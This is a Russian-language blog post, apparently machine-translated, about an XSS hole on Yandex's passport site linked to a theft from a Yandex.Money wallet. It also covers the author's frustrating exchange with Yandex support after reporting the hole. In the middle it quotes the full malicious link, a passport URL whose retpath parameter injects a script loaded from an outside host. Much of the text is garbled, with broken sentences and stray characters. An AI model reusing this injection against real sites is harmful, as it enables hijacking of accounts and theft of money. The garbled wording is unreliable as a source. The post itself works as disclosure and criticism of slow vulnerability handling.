Вдохновлен вчерашней темой Как у меня украли деньги из яндекс кошелька.
Часть 3. XSS Небольшое предисловие для тех, кто не читал этот пост. У мужчины из кошелька Яндекс.
Деньги украли деньги.
Понимая всю эту неприятную историю, пользователь убеждается, что Яндекс не всесилен и у них на сайте есть замечательный XSS. Прочитав об этом, я был, мягко говоря, немного удивлён, но не потому, что вдруг активизировался XSS и вдруг такая крупная компания, как Яндекс.
нет, не поэтому.
Я был удивлен, что лично сообщил об этой дыре в компанию 20 дней назад, и они сказали мне, что как можно скорее примут меры.
читать далее… Ссылка на враждебный скрипт была на 100% такой же.
Моё письмо в Яндекс гласило:
ТЕМА: Похоже на XSS-дыру на вашем сайте."' Все это напоминает активный XSS — сам не проверял, но по структуре похоже) через 2 ДНЯ Получаю следующий ответ от Яндекса:Добрый вечер.
Я только что получил спам, и когда я щелкнул ссылку внутри письма, я обнаружил такой код: источник =' http://passport.yandex.ru/passportЭmode=mycookie&submode=choice&retpath=http://slovari.yandex.ru/%22%3CSCRIPT > тип=текст/javascript src= http://httpz.ru/zakazchikgo.js >
Мы не проводили подобных рассылок и не имеем никакого отношения к данной акции.для тех кто не знает, это шаблонное оправдание, которое Яндекс рассылает всем, кто жалуется на спам.Это мошенники, которые пытаются украсть у вас деньги или завладеть регистрационные данные.
Пожалуйста, перешлите нам это мошенническое письмо.
Кнопка «Вперед».
Не забудьте установить флажок «Добавить исходное письмо в».
в форме инвестиций».
Я написал им еще раз и попросил открыть глаза.
Ответ был уже более адекватным:
Здравствуйте, Роман! Извините, я вас не совсем понял и сразу хочу извиниться за то, как ответил в течение двух дней.Эта переписка датируется 20 октября.Этот код был передан в службу безопасности.
Они примут меры.
Спасибо за Ваше письмо.
Номер билета: Ticket#200910199001067. Извините, но для компании, которая управляет чужими деньгами (я имею в виду яндекс.
деньги), такое безответственное отношение к вопросам безопасности просто недопустимо.
P.S. Отдельно хочу сказать, что несмотря ни на что, лично я испытываю уважение к Яндексу, потому что продолжать активно развиваться на рынке, где 95% подобных компаний в мировом масштабе уже ушли в небытие - это действительно заслуживает уважения.
Теги: #yandex #xss #неприемлемое злоупотребление #ИТ-компании #ИТ-компании
-
Ит, О Которых Все Молчат
19 Oct, 24 -
Русские Программисты В Канаде
19 Oct, 24 -
Откуда Берутся Бизнес-Аналитики?
19 Oct, 24 -
Macbook Air Взломали За Две Минуты
19 Oct, 24
